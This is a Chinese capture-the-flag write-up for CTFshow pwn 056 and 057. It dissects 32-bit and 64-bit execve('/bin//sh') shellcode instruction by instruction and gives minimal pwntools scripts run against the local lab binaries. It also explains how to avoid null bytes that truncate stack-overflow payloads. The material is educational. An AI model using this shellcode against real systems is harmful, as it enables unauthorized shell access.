当前位置: 首页 > news >正文

【CTFshow-pwn系列】03_栈溢出【pwn 056-057】详解:32位 与64位Shellcode 与 Linux 系统调用底层原理剖析

【CTFshow-pwn系列】03_栈溢出【pwn 056】详解:32位 Shellcode 与 Linux 系统调用底层原理剖析

本文仅用于技术研究,禁止用于非法用途。

Author:枷锁

在前面的关卡中,我们经历了惊心动魄的栈溢出,甚至手撕了出题人自定义的 Canary(栈哨兵)。来到PWN 056,出题人画风突变,不仅没有设下重重陷阱,反而给出了一句返璞归真的提示:“先了解一下简单的32位shellcode吧”。

在二进制安全领域,Shellcode就是我们攻城拔寨的终极武器。既然这关是基础教学局,那我们就收起杀心,带上放大镜,从汇编的底层视角,好好品鉴一下这段“看一眼就送 Shell”的代码。

第一部分:题目信息与环境侦察(虚假的平静)

1. 检查保护机制 (checksec)

~/Desktop .............................................................. at 22:34:38 > checksec pwn [*] '/home/shining/Desktop/pwn' Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX disabled <-- 划重点! PIE: No PIE (0x8048000) Stripped: No

原理解析:看看这满屏的红色(保护全关)!特别是NX disabled(数据执行保护已关闭)。这意味着不仅是代码段,连堆栈上的数据都可以被当作指令来执行!虽然这道题程序直接把后门喂到了我们嘴里,但这正是经典 Shellcode 能够运行的完美温床。

第二部分:破局思路与静态分析(硬核剖析)

将程序拖入 IDA Pro,我们直接看start函数。

1. 伪代码一览:开局送屠龙刀

void __noreturn start() { int v0; // eax char v1[10]; // [esp-Ch] [ebp-Ch] BYREF __int16 v2; // [esp-2h] [ebp-2h] v2 = 0; strcpy(v1, "/bin///sh"); v0 = sys_execve(v1, 0, 0); // 直接调用系统 API 拿 Shell! }

破案了!这题压根就没有输入输出,也没有溢出点,程序一启动就直接执行了sys_execve("/bin///sh", 0, 0)。 但这题的真正考点在于**“它是如何在汇编层面实现这一切的”**。我们切到汇编视图,逐行硬核解剖。

2. 深入核心:手撕 32 位 Shellcode 汇编

程序的真实面貌其实是一段极简的 x86 汇编代码:

.text:08048060 start proc near .text:08048060 push 68h ; 'h' .text:08048062 push 732F2F2Fh ; 's///' .text:08048067 push 6E69622Fh ; 'nib/' .text:0804806C mov ebx, esp ; ebx = "/bin///sh" 的地址 .text:0804806E xor ecx, ecx ; ecx = 0 .text:08048070 xor edx, edx ; edx = 0 .text:08048072 push 0Bh .text:08048074 pop eax ; eax = 11 (sys_execve) .text:08048075 int 80h ; 触发 Linux 系统调用! .text:08048075 start endp

逻辑与原理解析(系统调用的艺术):

  1. 字符串入栈(压入/bin///sh: 因为 x86 架构是小端序(Little Endian),字符串在内存中需要反着放。
    • push 0x68:压入h,同时 32 位系统会在高位补 0(即0x00000068),这个自带的0x00完美地充当了 C 语言字符串的结束符\0
    • push 0x732f2f2f:压入s///的 HEX 码。
    • push 0x6e69622f:压入nib/的 HEX 码。(此时栈顶esp指向的正是这串字符的开头!)
  2. 配置寄存器参数(准备execve: 在 32 位 Linux 的int 0x80系统调用规范中,参数是通过寄存器传递的:
    • ebx(参数1: 文件路径):mov ebx, esp直接把栈顶指针(字符串地址)塞给它。
    • ecx(参数2: argv):xor ecx, ecx异或自身清零,相当于NULL
    • edx(参数3: envp):xor edx, edx同理清零,相当于NULL
  3. 拔出屠龙刀(触发中断)
    • push 0xB&pop eax:将11放进eax寄存器。在 Linux 内核中,11号系统调用就是大名鼎鼎的sys_execve
    • int 0x80:向 CPU 发送 0x80 中断信号,内核接管程序,执行开天辟地的execve("/bin///sh", NULL, NULL)

第三部分:实战 EXP 编写与详解 (Pwntools 魔法)

既然程序连交互都不需要就直接送上了 Shell,我们的 EXP 自然也就是大道至简

from pwn import * context.log_level = 'debug' io = process('./pwn') # 什么都不用发,直接拿 Shell / 读 Flag io.interactive()

运行脚本,享受绿色的$符号吧!

第四部分:小白踩坑实录 (深入骨髓的教训)

1. 为什么是/bin///sh而不是/bin/sh

很多新手在看汇编时会产生巨大的疑惑:“老师教我拿 Shell 都是执行/bin/sh,这多出来的两个/是不是写代码的人手抖了?”

原理解析:绝对不是手抖!这是 Pwn 手在编写 32 位 Shellcode 时的经典凑字数技巧(4字节对齐)。 在 32 位系统中,寄存器和栈操作每次最好是 4 个字节(32 bit)。

  • 正常的/bin/sh一共是 7 个字符。如果我们强行分段:/bin(4字节) +/sh(3字节)。
  • 3 字节压栈非常麻烦,容易导致指令变长或者包含坏字符(Badchars,如\x00)。
  • 但是在 Linux 系统中,路径里的连续多个/等价于一个/
  • 所以前辈们巧妙地改成了/bin///sh,正好 8 个字符!完美分成两份 4 字节的数据:nib/s///,极大简化了汇编指令。

2. 为什么不用mov eax, 11而是用push 0xBpop eax

初学者可能会问,给eax赋值 11,直接mov eax, 11不好吗?搞这么花里胡哨干嘛?

原理解析:如果你编译mov eax, 11,它的机器码是B8 0B 00 00 00。 看懂了吗?里面包含了三个\x00(截断符)!在很多栈溢出场景中,输入函数(如strcpy)一旦遇到\x00就会停止复制,导致你的 Shellcode 被拦腰斩断! 而push 0xB(6A 0B) 配合pop eax(58),不仅实现了赋值,机器码中完全没有\x00,并且指令长度更短(只有 2 字节 vs 5 字节),堪称汇编艺术!

【CTFshow-pwn系列】03_栈溢出【pwn 057】详解:AMD64 架构下 64位 Shellcode 的进阶之路

Author:枷锁

在上一关pwn 056中,我们领略了 32 位 Shellcode 的极简之美。而这一关pwn 057,我们将跨越到 64 位的世界。随着寄存器从e开头进化到r开头,系统调用的传参方式和指令集也发生了翻天覆地的变化。

如果你觉得 32 位只是“开胃菜”,那么 64 位才是现代二进制安全真正的主战场。

第一部分:题目信息与环境侦察

1. 检查保护机制 (checksec)

~/Desktop .............................................................. at 12:58:10 > checksec pwn [*] '/home/shining/Desktop/pwn' Arch: amd64-64-little <-- 步入 64 位时代 RELRO: No RELRO Stack: No canary found NX: NX unknown <-- GNU_STACK 缺失,通常意味着栈可执行 PIE: No PIE (0x400000) Stack: Executable <-- 确认栈可执行 Stripped: No

原理解析:题目明确显示为amd64-64-little,这意味着我们需要遵循 x86-64 的系统调用约定(System V AMD64 ABI)。NX 保护缺失且提示Stack: Executable,这简直是 Shellcode 执行的完美乐园。

第二部分:破局思路与静态分析(硬核剖析)

将程序拖入 IDA Pro 64-bit,直接定位到_start函数。

1. 汇编代码硬核解剖

程序几乎没有任何多余逻辑,其核心就是一段教科书级别的 64 位 Shellcode:

.text:0000000000400080 _start proc near .text:0000000000400080 push rax .text:0000000000400081 xor rdx, rdx ; rdx = 0 (envp) .text:0000000000400084 xor rsi, rsi ; rsi = 0 (argv) .text:0000000000400087 mov rbx, 68732F2F6E69622Fh ; "/bin//sh" .text:0000000000400091 push rbx ; 字符串入栈 .text:0000000000400092 push rsp ; 压入当前栈顶地址 .text:0000000000400093 pop rdi ; rdi = "/bin//sh" 地址 .text:0000000000400094 mov al, 3Bh ; rax = 59 (sys_execve) .text:0000000000400096 syscall ; 触发 64 位系统调用! .text:0000000000400096 _start endp

逻辑与原理解析(64 位系统调用的核心差异):

  1. 寄存器传参的重构: 在 64 位 Linux 中,系统调用不再使用int 0x80,而是使用更高效的syscall指令。参数传递顺序也发生了变化:
    • 系统调用号存放在rax
    • 参数 1存放在rdi(对应 32 位的ebx)。
    • 参数 2存放在rsi(对应 32 位的ecx)。
    • 参数 3存放在rdx(对应 32 位的edx)。
  2. 字符串构造(/bin//sh
    • mov rbx, 68732F2F6E69622Fh:将/bin//sh的 8 字节 HEX 直接存入 64 位寄存器rbx
    • push rbx:将这 8 字节压入栈中。
    • push rsp&pop rdi:这是一种非常巧妙的取地址方式。rsp此时指向栈顶的字符串,通过压栈再弹给rdi,成功让rdi指向了/bin//sh的内存地址。
  3. 调用号的秘密
    • mov al, 3Bh:3B 是十六进制,转换成十进制是59
    • 关键点:32 位下的execve调用号是 11,而64 位下的execve调用号是 59。这是新手最容易搞混的地方!

第三部分:实战 EXP 编写与详解 (Pwntools 魔法)

针对 64 位环境,我们需要在context中明确指定架构。

from pwn import * # 基础配置:arch 必须改为 'amd64' context(arch='amd64', os='linux', log_level='debug') io = process('./pwn') print("[*] 正在接收 64 位 Shell...") # 直接发送获取 flag 的指令 io.sendline(b'cat /ctf*') # 接收并打印所有回显 try: print(io.recvall(timeout=3).decode(errors='ignore')) except EOFError: print("[!] 提醒:如果遇到 0B 接收,请尝试在网页端重置题目环境!")

第四部分:小白踩坑实录 (深入骨髓的教训)

1.int 0x80syscall的混淆

很多习惯了 32 位的同学,在写 64 位 Shellcode 时依然会下意识地写int 0x80后果:在 64 位模式下执行int 0x80虽然也能触发 32 位兼容模式的系统调用,但由于寄存器对应关系(如rax高位可能不为 0)和调用号完全不同,极易导致不可预知的崩溃。真理:64 位请认准syscall

2. 传参寄存器的“大换血”

记住了eax,ebx,ecx?不好意思,在 64 位里它们失宠了。

  • 32 位eax(号),ebx,ecx,edx
  • 64 位rax(号),rdi,rsi,rdx如果把execve的第一个参数(路径地址)放到了rbx里而不是rdi里,程序只会对着空地址发呆。

3. 系统调用号的“背叛”

这是最坑的一点:同一功能在 32 位和 64 位下的调用号是不一样的!

  • execve: 32位是11 (0xB),64位是59 (0x3B)
  • read: 32位是3,64位是0
  • write: 32位是4,64位是1。 在写 64 位 Payload 前,一定要查阅unistd_64.h确认调用号!

宇宙级免责声明 🚨 重要声明:本文仅供合法授权下的安全研究与教育目的!

1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。

2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。

3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。

4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。

5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。

6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。

7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。

🔐 安全研究的正确姿势:

✅ 先授权,再测试

✅ 只针对自己拥有或有权测试的系统

✅ 发现漏洞后,及时报告并协助修复

✅ 尊重隐私,不越界

⚠️ 警告:技术无善恶,人心有黑白。请明智选择你的道路。

http://www.jsqmd.com/news/449622/

相关文章:

  • 2026徐汇宠物耳道内窥镜检查专家推荐,别错过!猫咪乳糜胸手术/狗狗绝育/宠物绝育,宠物耳道内窥镜检查专家选哪个 - 品牌推荐师
  • Qwen3-4B实战:手把手教你用纯文本模型解决日常办公问题
  • MiniCPM-o-4.5-nvidia-FlagOS快速上手:Ollama本地部署与模型管理对比
  • 【2025最新】基于SpringBoot+Vue的智慧党建系统管理系统源码+MyBatis+MySQL
  • 【ThreadLocal忘记清理把堆吃爆了:一次线上OOM救火到半夜】
  • 备课一半全耗在找素材上?老师用什么 AI 工具做课件素材,我对比后才知道差距
  • 中文语义检索新范式:GTE-Chinese-Large在无监督关键词扩展与主题建模中的创新应用
  • RexUniNLU零样本机器阅读理解教程:中文问答式信息抽取详细步骤
  • 企业级智慧学生校舍系统管理系统源码|SpringBoot+Vue+MyBatis架构+MySQL数据库【完整版】
  • DT7遥控器与DR16接收器
  • 小白努力学习技术,从1级升级开始 目前等级:13级(5/10)
  • 拒绝魔法值:用枚举/常量替代,Java代码更易维护
  • 基于瑞萨的血压测量仪电路实现
  • 《创业之路》-891- 法律的本质是利用国家的群体的力量,强制性约束自私的人性、打击残酷的兽性,维持社会的稳定。
  • HC04-Arduino UNO-LED开关
  • Qwen3-VL:30B模型应用:智能文档处理系统开发
  • 《创业之路》-892- 法律的本质是秩序,正义只是它的副产品
  • 【2026最新携程酒店爬虫分享】用Python批量爬取酒店评论,含回复内容一键保存Excel!
  • 企业级智能菜谱推荐系统管理系统源码|SpringBoot+Vue+MyBatis架构+MySQL数据库【完整版】
  • vsg 编译
  • 模拟化妆品保质期,输入开封时间,环境温度,预测有效成分衰减,提醒及时更换。
  • TS/JS多智能体开发实战:从单Agent到OpenClaw
  • 文昌美食推荐:南山萝卜煨牛排、脆皮烧鸡与蒜蓉开边虾的高性价比对比攻略
  • 万象熔炉·丹青幻境与ComfyUI工作流整合:可视化节点式创作
  • DeepSeek-OCR部署教程:HTTPS反向代理配置(Nginx)保障Web访问安全
  • 大厂Java面试实战:从电商系统架构设计到分布式系统优化全解析
  • 思考:完全背包-为什么先遍历背包再遍历物品是“排列数”,先遍历物品再遍历背包是“组合数”
  • 深圳AI营销实践复盘,亲测有效
  • Chandra OCR效果展示:老扫描数学题80.3分识别,公式符号+上下标精准还原截图
  • 黑马-产品经理就业班V6.0|价值8980元|2022年|完结无秘